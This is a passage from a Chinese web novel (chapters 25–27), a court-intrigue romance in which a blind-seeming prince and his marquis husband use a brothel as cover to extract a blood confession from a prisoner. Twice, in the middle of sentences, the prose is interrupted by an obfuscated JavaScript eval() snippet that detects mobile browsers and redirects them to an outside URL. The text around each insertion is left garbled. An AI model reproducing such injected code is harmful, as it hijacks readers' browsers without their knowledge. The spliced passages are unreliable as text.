他换了身浅青色的薄衫,头发侧编成辫,转着轮椅又往薛俨的屋子里去。 他刚进去,迎面扔过来一件衣袍,正好将他完完整整地罩住,衣袍上熏过的兰香直入肺腑,他停顿原地。 “宣卿?” “对不住啊宣卿,我没瞧见你。” 随着声音传入,眼前的绯红衣袍被人掀开,吹散了淡淡的兰香,赵禛视线扫过,对上薛俨的瞬间耳根又烧红起来。 他怎么又穿成这样?!! 眼前的薛俨只穿着亵衣,但又不能称得上是亵衣,上衣的袖子被人刻意裁去,露出两条手臂,而下裤也被剪到了膝盖往上一点的位置,修长的小腿明晃晃地暴露在眼前。 赵禛深吸一口气,即将说出口的话又硬生生地咽了回去。 薛俨将他推到贵妃软榻旁,又给他摆弄了些吃的喝的玩的,他自己则随意地往边上一倒,手里拿着账本看了起来。 只是他的坐姿实在不规矩,一会儿坐着,一会儿躺着,一会儿整个人倒挂在软榻上,双手抱胸,眉宇微簇,像是在思考什么。 夏天的衣物本就单薄,赵禛只肖稍一抬头就能看到他倒挂后上衣垂落时偶尔漏出 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“对!”薛俨一拍手,“然后我查了渊州此县的历年屯粮,霉变损耗比例全部接近这个数值,有点过于太正常了。” 瘟疫、旱灾、洪涝等自然灾害都会影响地方粮食种植,所以每年的收成是不一样的,同理收上来的税粮也就不该一模一样。 赵禛:“隐田。” 薛俨眉宇微簇,“隐田?” 赵禛点点头,“例如此县产粮45石,那它的账上至少要有40亩田,但实际上可能有60亩田,那多出来的20亩田,不仅不用交税,甚至可以进他们自己的腰包,倘若隐田过多,那霉变的小部分也就不足为奇。” 薛俨倒吸一口凉气,“原来如此,竟然还有这种门道!” 难怪人人都想做贪官,朝廷一钱我一钱,我比皇帝还有钱。 随后薛俨又问了几个账目上的问题,甚至于某些个别的隐秘记号,赵禛一一作答,薛俨的表情逐渐变得惊喜起来。 “宣卿!你怎么懂得这么多?这实在是解我之惑。” 赵禛道:“国计民生,无非就是钱粮盐铁,皇储之争最不能缺少的便是银子,每个人都有自己赚钱的法子,想堵住自己的漏洞、再抓住别人的尾巴,就要懂账。” 薛俨恍然大悟。 俩人又说了一会儿账本的事,眼看着太阳即将落山,蓝瞳从外面急匆匆进来,往赵禛耳边低语几句。 赵禛笑笑,“哥哥,袁春贵的事情我安排好了,随我同去好不好?” “当然!” 薛俨终于起身开始换衣服。 蓝瞳一走,薛俨甚至连屏风都没进,直接当着赵禛的面又将自己脱了个精光,换了完整的里衣,毕竟这种短袖短裤只适合在自己屋子里窝着穿。 赵禛端着茶杯,叹了口气,这下更是说不出口了。 等薛俨收拾好自己,俩人才坐上马车。 路上薛俨掀开车帘,“你要带我去哪儿?就算是晚上,大皇子和太子也会盯着我们吧?我们要是去诏狱的话,要不要乔装一下?” 赵禛笑而不语。 过了一会儿,薛俨瞧着并不是去诏狱的方向,反而进了闹市,越发疑惑,其实他还有更疑惑的地方。 大皇子手握户部和吏部,太子有工部的木土工程和梁三千这个大商人给他赚钱,那宣卿以前是靠什么赚钱的? 与此同时,其他的府邸宅院,双方两派的人都接到了赵禛出行的消息。 大皇子笑道:“好!给我盯紧了,老六要是敢私下接触袁春贵,我就让他有去无回。” 另一边的严相也收到了密报,他捋着下颌胡须,老眼浑浊间透出几点精光,“诏狱那边袁春贵如何了?” 那人回道:“属下一直派人盯着他,只要有人敢靠近,即刻拿下。” 25. 第 25 章 马车在一座花楼前停下,欢声笑语、丝竹声声、靡靡之音如潮水般涌入耳中,掀开车帘,一片浓妆艳抹的景色。 薛俨眸光一颤。 红玉楼,京中最盛大的花楼。 似是察觉到他的震惊,赵禛微微一笑,“哥哥要进去玩玩吗?” 薛俨讪笑,“我是个正经人的。” “是吗?”赵禛转着轮椅略过他,唇角笑意幽幽,“那哥哥记得以后也不许来这种地方。” 薛俨推着赵禛踏进花楼的第一时间,便有一红衣女子拦住了他们的去路,披帛轻甩,搭在了薛俨的胳膊上。 “哎哟,郎君,真是叫奴家好等的嘞。” 女子约莫三十岁的年纪,浓妆粉黛地娇笑几声,又故意朝他抛了几个媚眼,看得薛俨起了一身的鸡皮疙瘩。 赵禛却笑道:“我们跟她走。” 薛俨推着赵禛跟着红衣女子往楼梯处走去,轮椅卡在台阶前,薛俨熟练地弯腰将赵禛抱起,赵禛顺势环臂搂住了他的脖子,身后蓝瞳和松烟则抬着空轮椅跟了上前。 红衣女子以团扇掩面,双眸瞪圆,眼底闪过一丝讶然,但还是不动声色地引着他们上楼。 走到一半,薛俨脚步稍顿,低头朝赵禛耳语道:“有人跟着我们。” 不出意外的话,肯定是大皇子和太子或者严相派来的人,袁春贵下狱不是秘密,又和当年的澶州有所牵连,他们料定赵禛肯定会有所动作,所以这几日的监视格外严密。 “无妨。” 等房门紧闭,那红衣女子才终于正色,双手交叠往赵禛跟前微微一屈,“梅三娘见过殿下,人已经被带进来了,殿下可要现在审问?” 赵禛虽是坐着轮椅,青衫广袖垂落,却丝毫不减半分的天潢贵胄,狭长的眼尾微微上挑,清贵又疏离。 “不急,身后有尾巴跟着,你去处理一下,再叫几个姑娘过来。” “是。”梅三娘俯身退下。 薛俨从他背后走出,四下打量着装潢,的确是个不错的风月场所,难道这就是宣卿赚钱的手段?可区区一个红玉楼,就算是每日客流爆满,也远远不够填补朝廷的缺。 “你要在这儿审问吗?这倒是个好地方,那梅三娘你信得过?” 赵禛道:“她是自己人。” 薛俨想了想,并不放心,“她应付不了外头的人,你这地方想必别有洞天,我留在外面帮你周旋,若有动静我差人叫你。” 此间瞧着寻常,一览无余,只有一架屏风勉强算作遮挡,袁春贵被藏在这里,肯定有什么机关暗道。 “好。”赵禛甜甜一笑。 这样最好,他那张满腹诡计的面孔就不会被薛俨看见。 “可是……哥哥,我藏在屏风后面,自然是为了做些什么,身上不多几个唇印也说不过去。” 薛俨点点头,他们身处风月场所,这架屏风又是别有用途的,要是身上干干净净的,肯定惹人怀疑。 “还是你想得周全,等一会儿姑娘们过来了,叫她们一人亲你一口。” 他说着眼底多了几分戏谑,赵禛性情清冷,从前也没听说过六皇子府上什么有侧妃或者侍妾,他还是很好奇赵禛面对红粉佳人会是什么样的表情。 赵禛眼眸上抬,早已洞察对方的心思,他从袖中取出一小罐胭脂递了过去。 玉罐打开,红润润的胭脂膏子让薛俨忽然想起来新婚那夜,赵禛唇上涂的便是这等颜色。只是那时赵禛瘦弱苍白,不知现在的赵禛上妆后会是何等风华绝色? 赵禛:“我不喜欢外人碰我,所以……这件事也劳烦哥哥了。” 薛俨指指自己,“我?我是男的,我怎么亲你?这不行,不行,实在不行我给你画一个。” 男人怎么能亲男人呢? 他单是想想就觉得鸡皮疙瘩掉了一地。 赵禛敛下眉眼,拖着胭脂膏子的手也垂了下来,“画出来的不够真实,哥哥是嫌弃我吗?” “不不不,我没有这个意思,我是……我、我不是断袖,我一个大男人,我亲你显得多奇怪。” 薛俨被他吓得说话都结巴起来,但赵禛只是垂着头不说话,看起来可怜巴巴的。 薛俨心底再次被他击中,牙一咬,心一狠,接过了那胭脂膏子,用手指蘸了些涂在唇上。 “好吧,你是我弟弟,我亲一下也不算不妥,我都是为了大义,为了不被大皇子和太子发现问题,为了我们俩的小命……” 薛俨用各种理由逐渐自己说服自己,薄唇染上胭脂,原本的粉唇多了几分丽色。 薛俨蹲下身,抬起赵禛的下巴,四目相对的刹那,薛俨心头一跳,那双眼睛格外漂亮有神,宣卿该不会是复明了吧? 薛俨伸手在赵禛眼前晃了晃,见他没有半点反应,终于舒了一口气,他捧起对方的脸,触感温热,赵禛的脸很软,柔柔得像云朵一下,白嫩光滑,他下意识滚了下喉结。 薛俨深吸提气,一闭眼,在赵禛眼下的位置亲了一下。 亲起来好像更软了。 薛俨心脏不可控制地乱跳了几下。 回过神来,那张素来清冷漂亮的脸上瞬间多了一个浅浅的红色唇印,薛俨看得有些想笑。 “哥哥,你的力道太轻了,等他们找上门来,唇印就已经先掉了。” 薛俨又往唇上多染了些胭脂,只要第一步迈出去后,剩下的便不足为惧,他双手捧着赵禛的脸“啵”地一声用力亲了上去,这次的唇印比上次要明显很多。 薛俨噗嗤一笑,看着眼前被他“蹂躏”过的赵禛,颇有一种亵渎神灵的刺激感。 “还要再亲几下吗?” 赵禛点点头。 薛俨又给自己加了点胭脂,在赵禛的另一侧脸颊也亲了一口,有点爽是怎么回事?! 薛俨一口气抱着赵禛的脸又亲了个来回,额头、下巴、脸颊全部染上了殷红的胭脂印,看得薛俨心口热热的。 赵禛本就生得漂亮,却性情清冷,平日里又很乖巧,如今配上这些凌乱的胭脂印,颇有一种被人[糟蹋]过的暧昧感。 薛俨用指背蹭了蹭那些胭脂印,刻意将印子蹭花,逐渐泛起一点异样,好奇怪。 大楚素有好男风者,他尊重但并不理解一个男人为什么会爱上另一个男人,现在他好像明白了什么。如果是像赵禛这样漂亮的男人,爱上他也无可厚非吧。 此时梅三娘正准备进来,一开门就看到曾经那个生杀予夺的六皇子满脸的胭脂红印,吓得她砰地一下又关上了门。 她进入幻境了? 还是六皇子疯了? 梅三娘缓了许久,再度推门而入,心脏还是未能平静下来。京中传言临淄侯克妻又好色,强行求娶六皇子,但现在看来怎么也不像是襄王有意、神女无情。 薛俨已经推着赵禛往屏风后去了,清雅之景,潺潺流水旁有一个白玉瓶,里头还插着几枝桃花。 梅三娘转动花瓶。 不多时,对面的书架竟缓缓移开,露出一片别有洞天,甚至没有半点声响,薛俨推着他走进去,里面并没有什么特殊的,极为简陋,待他们进去后,背后书架再次合上。 狭小的空地亮着几盏油灯,昏黄光线间便见着一个穿着通体墨色的男人,他的脚边还踩着另一个穿着囚服、头发灰白乱蓬蓬的男人,想必便是从诏狱里抓出来的袁春贵。 “参见殿下。”那个男人见着赵禛急忙过来行礼,又一脚把五花大绑的袁春贵踹了过来。 赵禛不咸不淡地“嗯”了一声。 随后调转轮椅,朝薛俨柔声道:“哥哥,外面的事情就交给你了,若有什么问题你叫蓝瞳来唤我便好。” “好,那我叫松烟跟着你,他功夫不错,若是……”薛俨环视扫过对面的袁春贵和他身侧的男人,“若是有什么事,松烟可以保护你。” 赵禛莞尔一笑。 薛俨和梅三娘出来后,书架自动闭合,他活动了下筋骨,径直歪坐在地上准备的蒲团上,桌面酒香扑鼻,他尝了一口,赞道:“好酒。” 外头鱼贯而入数名舞姬乐师,他们摆置好琴架,随着鼓点开始,古琴、琵琶紧随其后,水袖涌动,舞姬扭动腰肢,场面一下子热闹起来。 薛俨逐渐适应环境,饮酒过三爵,甚至学着那帮纨绔子弟的做派,解下腰间的玉佩随手丢了出去。 舞姬腰肢细软,借着舞步一个后仰下腰便将玉佩稳稳接住,甚至贴在脸边继续舞着,一双含情眼朝着薛 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然而眼前这个少年,穿着浅青薄衫,侧辫麻花间还簪着珍珠小花,俨然一副花中仙子的打扮,瞧着跟哪个富贵人家的小公子似得,谁会想到他就是那个六皇子? 再者,六皇子品行孤傲,不近女色,此人却是盯着一脸暧昧的胭脂唇印来审问他,当真是诡异滑稽。 赵禛自然知道袁春贵在想什么,但薛俨的审美一直处于浮夸艳丽的水平线,他身上的衣物从里到外全是薛俨选的,自然和以往老气横秋的风格不俗。 他低头看了看自己[花仙子]的打扮,这套也是薛俨精心搭配的。 算了,薛俨高兴就好。 他恢复正色,“你不必在意我是谁,你只需回答我:锦什坊街后巷三合小宅里的人也要陪你一起死吗?” “现在刑部还没查到他们头上,等查到他们身上,可就晚了,你最后的一丝骨血也要[咔嚓]跟你一起死了。” 赵禛手起刀落,玩味一笑,眼底尽是戏谑,不像是在做什么严肃拷问,反倒像是玩什么有趣的游戏。 “我没有那么多的耐心,把你知道的都写下来,我保你的外室儿女活命。” 松烟站在赵禛的轮椅旁时不时就用余光瞟他一眼,他们乖巧善良的夫人莫不是被人夺舍了吧?要不要撒两把糯米驱驱邪? 外头奏乐的动静更热闹了。 胡琴琵琶声声扬。 “侯爷,奴家在这儿呢。” “侯爷,快来抓我啊。” “侯爷,奴家的腰肢是不是软得很?” 女子的娇笑声越发不堪入耳。 赵禛额间青筋直跳,让他在外面周旋演戏,他竟是入戏了?还是说本性就如此荒.淫? 松烟急忙解释,“我们家侯爷是个正经人,这肯定是假的,都是假的。” 他刚说完,像是为了验证,薛俨嬉皮笑脸的声音隔着墙壁传来。 “美人,让我抓到,你就完了,我一定要罚你三杯。” 眼看着赵禛脸色阴沉,松烟努力劝谏着,“别生气,别生气,都是逢场作戏。” 他一边说着又默默为薛俨点了三炷香。 [侯爷,等夫人出去,你也就完了。] 外头愈演愈烈,笑声不止。 “侯爷,快来啊。” “宝贝儿,你在哪呢?” “心肝儿,让我亲亲。” 赵禛眼底蹦出杀人怒火。 浅青薄衫此刻在烛火映衬下绿得发光。 松烟叹了口气,松开赵禛的轮椅,“我现在就出去踹他两脚,帮他醒醒酒。” 此时,外间歌舞声不停,舞姬正嬉笑着躲来躲去,薛俨眼前蒙着一段红绸,他猫着腰双手来回扑腾想去抓人。 抓着抓着,真叫他摸到了一截大粗腰,壮如水桶,他上下又摸了一会儿,来人穿着锦绣绸缎,身量壮实,腰有赘肉,应是富贵公子,绝非屋内之人。 “美人,我抓到你了。”薛俨唇角轻勾,嬉笑着掀开眼前的红绸,一张熟悉的丑脸映入眼帘。 他的笑容戛然而止。 26. 第 26 章 “薛俨,你放肆!” 五皇子满脸怒气,他只是因为听到这里靡靡之音,又听说赵禛和薛俨进了这里便料定有猫腻,谁知道刚进来就被薛俨这断袖抱了个满怀。 简直不知廉耻!! 五皇子的身后还跟着那个“身怀六甲”的顺天府胖子王进,此时正瞧好戏似得盯着薛俨。 再往后,梅三娘满脸担忧地望过来,薛俨给她使了个眼色让她离开,他就说梅三娘顶多拦一下那帮乌合之众,像五皇子这等人物,她是万万拦不住的。 “我说是谁呢?这不是五哥吗?怎么皇子也来逛红玉楼啊?这红玉楼还真不愧是京城第一风月场所。” 薛俨直接捏着红绸站在门口一甩一甩的,朝外头招呼道:“哎,你们快过来看啊,五皇子来逛红玉楼了,真稀罕。” 五皇子脸色瞬间爆红,猛地将薛俨拉拽回来,又迅速关紧房门,咬牙切齿挤出两个字,“薛俨,你住嘴……” 五皇子气道:“你疯了?低声些,这是什么很光彩的事吗?” 要不是派出来的人全部被堵在门外进不来,而赵禛又极有可能在内里行不轨之事,他堂堂皇子才不会来红玉楼这等腌臜之地。 他说着环顾四周,开始寻找赵禛的下落,屋内一览无余,除了几个瑟瑟发抖的舞姬和乐师外,只有薛俨和蓝瞳两个人。 五皇子:“赵禛呢?你们俩不是一起来的吗?你该不会把我弟弟卖了吧?” 薛俨指了指屏风,“在里面玩呢。” 五皇子双眸一瞪,剐了薛俨一眼,大步朝着屏风走去,却被薛俨拽住了胳膊。 薛俨笑嘻嘻的,“你不能去,宣卿正玩得开心呢,五哥怎么好打搅他呢?” 五皇子想甩开他的手臂,但薛俨力气大,又抓得很紧,他根本甩不开,他只能眼神示意王进过去看看。 还不等王进靠近屏风,里头松烟便推着赵禛走出来,而那满脸的胭脂唇印格外醒目刺眼。 五皇子瞳孔震颤,“老六你……你、你简直是自甘堕落!你为什么会来这种地方?” 赵禛生性孤傲,不近女色,有洁癖,更讨厌旁人触碰,现在却同红玉楼的舞姬厮混成群,甚至弄出来一脸的唇印。 薛俨接替松烟推着赵禛的轮椅,“我们当然是来消费的,对不对,宣卿?” 薛俨轻轻歪头。 赵禛莞尔一笑,“对。” 五皇子瞪大了眼,“你……” 薛俨反问:“那敢问五殿下又是过来干什么的?难道你比我们高贵,你是过来赚钱的?” 他戏谑一笑,不怀好意的目光扫过去。 五皇子脸色涨红,“你胡说什么?我乃天潢贵胄,薛俨你放肆!” 赵禛拉了拉薛俨的衣角,“侯爷,其实有些行业看似不体面,但门槛还是很高的,梅三娘也不是什么人都收的。” 薛俨语调轻扬笑出了声,“夫人说的对,红玉楼的招收门槛太高了,要不五殿下去对面的怡红楼看看?” 五皇子刚要张口骂人。 却见薛俨又移步走到王进面前,手背敲了敲他的肚子,肉肉回弹。 薛俨佯怒,“你看看你,怀着孕还来红玉楼,动了胎气怎么办?还有你们,他月份都这么大了,也不知道扶着点,你们都是干什么吃的?” 王进身后的奴仆被他骂得连连称是,伸手就要去搀扶王进,气得王进一人甩了一巴掌。 “薛俨,我没怀孕,我是胖的,胖的!你眼瞎啊,我是男人,男人怎么能怀孕?” 王进先前就被薛俨奚落过一次,他已经私下里偷偷复盘过该怎么骂回去,没想到这次对上薛俨他还是骂不过,气得他脸上的肉都在抖动。 五皇子冷哼一声,薛俨嘴上功夫向来厉害,但他今日过来可不是为了听薛俨在这里讲笑话。 他的视线锁定那架屏风,他可不信赵禛是真的在里面同舞姬玩闹。 随着他脚步推移,空气都变得沉闷起来,五皇子屏住呼吸,绕到屏风之后,只见假山流水,景观雅致。 他眯了眯眼,开始去搬弄那座假山,又去玩水,或者拍一拍墙壁桌子,又趴到桌子底下去找机关。 咚—— 外头鼓点乍惊,五皇子被他吓了一跳,猛地起身,却忘了自己伸出桌子底下,咚地一声脑袋磕了个包,他捂着脑袋表情狰狞。 “薛俨!你……” “多谢五哥配乐。”薛俨不咸不淡地来了一句。 赵禛忍俊不禁。 五皇子几乎听到了屏风外的憋笑声,一怒之下他怒了一下,又开始去摸索其他的摆件。 笑吧,等他找到赵禛私见钦犯的证据,他要让这些人一个都笑不出来。薛俨那张嘴再厉害,他也受不住刑部的十八道拷问。 “五哥,找什么呢?要不要我帮忙?”薛俨突然出现,侧身斜靠在墙边,笑盈盈地看着他,手中还把玩着一只白玉杯。 五皇子瞪了他一眼,“玉佩掉了,我自己找就是。” “那你们慢慢忙。”薛俨转过身,对上那些惶惶不安的舞姬,“都愣着做什么?接着奏乐接着舞啊。” 乐声乍起,舞点翩然,薛俨将赵禛从轮椅上抱下来放在坐垫上,自己则坐在旁边让他靠着,单臂环过,怀抱美人。 屏风那头的五皇子和王进库费力地找着机关,甚至借着找玉佩的名义又叫进来不少人。 薛俨在外面饮酒、赏舞、左拥右抱,五皇子在里面找得灰头土脸,脑门都出了一层汗。 “宣卿,吃葡萄么?” 薛俨剥了颗紫玉葡萄递到赵禛嘴边,对方轻轻启唇,吃掉葡萄的瞬间,唇瓣软软地碰了下薛俨指尖。 薛俨触电般猛地将手缩回,他怎么觉得是故意的呢?但余光见赵禛面色平常,他也只好把疑问的话又咽了回去,想来宣卿也是不小心的。 五皇子找了半天没找到机关所在,刚从屏风内侧出来就看到这一幕,他脸皮抽动,不可置信。 “赵禛,你竟然吃他喂你的东西,你竟真从了这个武夫?是不是他强迫你的?” 薛俨听他这话却是不开心了,“五哥这话我就不爱听了,我和宣卿是陛下赐婚,父皇都说我们是天作之合,你这么说就是在质疑父皇!我不许你质疑陛下!” 五皇子被他平白扣了一顶大帽子,有气无处撒,一屁.股坐在了薛俨身侧,跟着看起歌舞来了。 赵禛和薛俨进入红玉楼没多久,只要他一直待在这儿,赵禛就不能继续干坏事,计划必定落空。 王进站在五皇子身后,不多时,方才那翻窗而去的人又回来了,偷摸着给王进使了个眼色,没一会的功夫,便有姑娘端着新的酒壶进来。 “来得正好,我说怎么没酒了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17338498|199281||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” “来来来,五哥,我娶了宣卿,以后咱们就是亲兄弟,我敬你一杯。” 薛俨说着便要倒酒,旁边的王进狗腿子地抢过酒壶,讪笑道:“姐夫,我给你们倒酒。先前顺天府的事,也算是我给临淄侯赔罪了。” 五皇子似是察觉到了什么,任凭王进给他们倒了酒,眼看着薛俨就要一饮而尽时,薛俨却突然停住了,王进一颗心脏也跟着骤停。 薛俨鼻尖微动,“这酒真香啊。” 王进傲慢道:“这可是百年佳酿。” 薛俨仰脖又要喝,王进一颗心跟着再次提了起来,紧紧盯着薛俨的酒杯,谁料薛俨又将酒杯落了下来,突然指着某个方向,“你看那是什么?” 五皇子看过去,“哪有东西?” 薛俨袖子一掩,将酒杯调换。 “想必我看错了。” 薛俨终于仰脖一饮而尽。 王进舒了一口气,眼底闪过一缕暗光。 薛俨这小子天天嘲讽他是孕妇,不知道明早醒来,薛俨看到自己的样子会不会气到发疯。他已经准备好了一万种嘲讽薛俨的说辞。 酒过三巡,五皇子都快醉晕过去了,屏风内侧的人也没找到机关所在,他踉踉跄跄地跟过去,一眼就瞧见了流水间的花瓶。 几枝桃花开的正艳。 他眼睛一眯,像是想到了什么,脚步缓缓走去。 薛俨瞧见他伸手的动作,莫名揪了一口气,该不会真让这傻逼发现了吧?那可不行。 他正欲起身,一只手却压在了他的膝盖上将他按下,薛俨扭头,赵禛正自在地吃樱桃,他捏着樱桃小杆,唇瓣一张,一点红色汁水落在唇瓣上带着些许的风情。 薛俨愣了片刻,狐疑地又瞟了几眼,身体斜倾,唇瓣贴在赵禛耳侧,“你果然是已经能看见了吧?” 他早就觉得不对了,但五皇子一直坐在他身边,他不想露出马脚。 赵禛歪头,带着调侃玩味的笑,“哥哥觉得呢?” 那双眼睛炯炯有神,暗藏狡黠,明亮得像是天上的星星坠落眸间,巧笑倩兮,美目盼兮,薛俨险些看得失了神,沉溺其间。 他轻咳一声,恢复正色,两根手指在赵禛跟前比了一个耶,“这是几?” 赵禛被他逗笑了,“是二。” 薛俨眼底升起一丝希冀的亮光,“你真的……” 赵禛点了点头。 薛俨激动地抓住他的胳膊,又指了指自己,“宣卿,那我是谁?” 赵禛无奈,“你是哥哥。” 若不是五皇子还在,薛俨定要把人抱起来转个圈,再多问几个问题,彻底确认了才能表达自己的激动。 他的宣卿终于能看见了,莫名有种吾家有儿初长成的幸福感。 感受到来自薛俨的慈爱目光,赵禛扯了扯嘴角,他还真是自动带入好哥哥的角色了。 另一边,五皇子已经盯上了那个花瓶,身后有人对他耳语几句,他的五指终于握住了瓶口,轻轻转动。 花瓶转动成功的那瞬间,五皇子的眼睛都亮了。 薛俨是亲眼见过那个花瓶左旋右旋之后打开暗室,而五皇子不知道哪根筋开了窍,竟照搬着那动作,左转三圈,右转三圈。 五皇子开始得意。 他就知道这花楼暗藏玄机,特意带来了一位机关大师。 27. 第 27 章 场面一度死寂。 五皇子盯着没有任何动静的四周,不死心地又试了几次,然而那花瓶只是能转动,却没有任何机关牵制。 眼看屏风内全部被他翻了一遍都没有找到马脚,五皇子只能暂且罢休,但他可不信赵禛来此就是为了喝花酒。 “五哥还没找到玉佩吗?”薛俨剥了颗花生送进嘴边。“你自己慢慢找吧,宣卿累了,我们要回家了。” 他说着将赵禛抱上轮椅,转身出了屋门。 眼看赵禛等人离开,五皇子又唤进来些许人手翻找,难道赵禛真的自甘堕落,自知无缘皇位,开始做游戏人间的花花蝴蝶了? 出了红玉楼,上了马车,薛俨才道:“他为了抓你的把柄还真是豁出去了,竟然亲自过来。” 薛俨是世袭的临淄侯,有爵位、有封地、有军功,他守在这里,太子的那些耳目,甚至是朝中大臣都进不来,除非是皇亲国戚。但机不可失,五皇子这个傻蛋就被人忽悠过来了。 赵禛笑笑,“是啊,哥哥为了帮我打掩护也是豁出去了,怎么样?红玉楼的姑娘温婉可人,你的宝贝儿、心肝儿可有需要接回府的?” 薛俨双手合十,“我错了,我错了,都是逢场作戏嘛,外面的人时不时过来偷听几句,我肯定要让他们听到些什么。” 他清了清嗓子,努力转移了话题,“袁春贵那边你问得怎么样了?澶州的事他说了吗?” 赵禛从袖中取出一封血书。 时间回到红玉楼的暗室,眼看着外面薛俨玩闹的声音越来越凶,赵禛也差不多猜到了什么,定是有人在外偷听。 袁春贵也终于妥协,“我可以告诉你,你真的能保我最后一丝血脉?” 赵禛低头,眼底闪过一抹冷意,“是谁让你毁堤的?是你自己想的,还是受人指使?” 袁春贵闭了闭眼,“淹县前一天我收到了来自京城的密信让我这么做的。” 赵禛问:“那个人是谁?” 袁春贵道:“不曾署名,是随户部的文书一起到的,当时一同办差的户部主事田文杰大人给我的。” 赵禛道:“信在哪?” 袁春贵道:“田文杰烧了。” 赵禛深吸了一口气,他就知道,那些人谨慎的很,不会轻易留下把柄。 赵禛扔过去一把匕首,“澶州一案,从头到尾,把你知道的都写下来,写血书。” 袁春贵这个人证的命肯定是保不下来的,想要他死的人太多了,那他临死前在狱中写下一封告罪的血书,也不过分吧? 等以后澶州翻案,这封血书便是一项最有用的铁证。 袁春贵将身上的囚衣撕扯下来一块,狠心咬破手指,鲜血涌出,流满掌心,他趴在地上一字一句地将澶州一案写出。 “我会将你的外室儿女养大,留你最后一丝骨血。” 赵禛张开血书,血迹斑斑,突然看到什么似得眸光一凝,他闭上眼,轻轻叹了口气。 果然还是如他所料,若非被自己人反咬,怎么会落得这般下场。 再抬眼,袁春贵已经被打晕了。 赵禛从袖中取出一张纸契,“告诉牢头,他家宅子的贷银已全部结清,往后那座宅子就属于他了。” 黑衣男人接过地契,揪住袁春贵,退了出去。 赵禛没有刻意掩饰,将红玉楼内所有的利益交换、威逼利诱全部暴露在薛俨面前,他迫切地想知道薛俨的反应。 他期待会看到薛俨和别人一样厌恶和畏惧的目光,又贪心地希望薛俨能接受这样的自己,左右互搏的复杂让他的心脏紧密地跳动起来。 然而现实是,薛俨嘴巴逐渐张大,眼里闪烁着兴奋的光,没有想象中的厌恶和畏惧,全是对他一环套一环的佩服。 “所以,你是用袁春贵外室儿女的性命威胁他,让他写下了血书?你怎么知道他有外室的?” 这个时代的人对于后代子孙有着异样的执着,所以他的祖母老太君会疯狂催生,而袁春贵也会为了最后一丝血脉事无巨细地交代澶州的事情。 赵禛笑眯眯的,“京中五品以上官员的秘密,我都知道。” 薛俨摸着下巴,忽然问道:“那我家的秘密你是不是也知道?我家有什么秘密吗?” 他家人丁凋零,又常在西北驻守边关,他爹又是个老实本分的男子,基本上没什么见不得人的事。 “嗯……确实有一个秘密,哥哥想知道吗?关于你母亲的秘密。” 薛俨一愣,“我母亲?她能有什么秘密?” 三岁时,母亲便已故去,在他的印象里,生母的样貌早已模糊,而且她不是京城人,也无外祖可寻,就像是蒲公英风吹而来,风散而去。 赵禛身体前倾,凑到薛俨耳边,吐气如兰,“他是个男人。” 薛俨闻言噗嗤一笑,“好好好,我们宣卿果真是神通广大,连这样隐秘的事都能查到。” 眼看薛俨并不信,赵禛也不急于解释,这件事情匪夷所思,时间久远,有时他自己也觉得当年看到的是错觉。 倘若薛俨的母亲是个男人,那薛俨又是哪里来的?薛俨的样貌和老侯爷可以说是一个模子里刻出来的,不可能不是亲生的父子。 话回正题,薛俨又问:“牢头的宅子是怎么回事?你帮他还了贷银?” 大楚京城繁茂,如今的时代虽然称不上盛世,但也算是太平,京城的房价并不比21世纪的房价便宜,甚至有很多清廉的三品大员都要租借宅子居住,有的到死还背着房贷。 普通人要是能在寸土寸金的京城奋斗出一个小宅,那简直是祖坟冒青烟了。 而诏狱的一个小小牢头,按照他的俸禄,恐怕从上辈子开始干起,他都买不起京城的一个茅厕。 如果能在京城拥有一座小宅,别说把袁春贵从诏狱里换出来,就算让他去死,能给儿孙留个宅子,想必那牢头都愿意。 赵禛点点头,“他家的宅子原是从我手下买的,只付了首金,此番他将袁春贵从狱中弄出,我便按照约定,将那套小宅的贷银全部结清。” 薛俨随口问了句:“那红玉楼的房产不会也是你的吧?” 赵禛莞尔一笑,算是默认。 薛俨差点把自己舌头咬掉,看向赵禛的眼神都变得炽热起来,“你不会是包租公吧?” 赵禛:“什么是包租公?” 薛俨道:“就是有很多房子,每天只靠收租就能赚很多钱。” 赵禛含笑,“那你可以这么叫我,袁春贵给外室赁的宅子也是我的。” 薛俨沉默,他好像知道过往几年赵禛是靠什么赚钱的了。 大皇子靠户部赋税和吏部卖官,太子有工部土木和梁三千,五皇子在礼部挖点油水,七皇子在鸿胪寺从岁贡上捞钱,八皇子在刑部偷天换日也能弄不少,至于六皇子赵禛……他靠收租。 但如果只靠房产赚钱的话,赵禛他得有多少房产,才能比得过大皇子和太子那两头吞金兽? 不敢想,根本不敢想。 薛俨又去看那封血书,上面提到了很多的人名,皆是当初澶州旧案的相关人员,袁春贵说的和刚成婚时赵禛的猜测大差不差。 突然,他又看到一个熟悉的人名,“刘颜卿,我好像听过这个名字。” 印象里,他小时候去找少钦玩时,似乎是在崔府听到的这个名字。 赵禛闭着眼,“他是我舅舅的得意门生。” 薛俨瞪大了眼,再去看那血书上的字,上面说澶州决堤后,刘颜卿赶赴调查,最后也是他提交的奏本彻底坐实了崔家的罪证,崔家也因此获罪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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赵禛轻轻叹了口气,“我有些累了。” 他终究还是因为借了表兄的光。 薛俨将车上的毯子抱出,“回府还有一段路程,歇一会儿吧,你的眼睛刚好,不能劳累。” 赵禛却未要那毯子,反而将头一歪,靠在薛俨肩头,轻轻闭上了眼睛,他似是觉得姿势不舒服,又动了动,整个人都埋在薛俨颈窝间。 马车一阵摇晃,赵禛跟着晃动,一只手却是搭在他肩上,将他稳固搂住。 赵禛双眸闭着,却是弯了下唇角,双手前后夹击抱住了薛俨,又贴了贴,“冷。” 五月多的天气怎么会冷呢?薛俨倒觉得这天气闷热得很,坐在马车里呼吸都没那么顺畅了,难道是他火气太旺盛了? 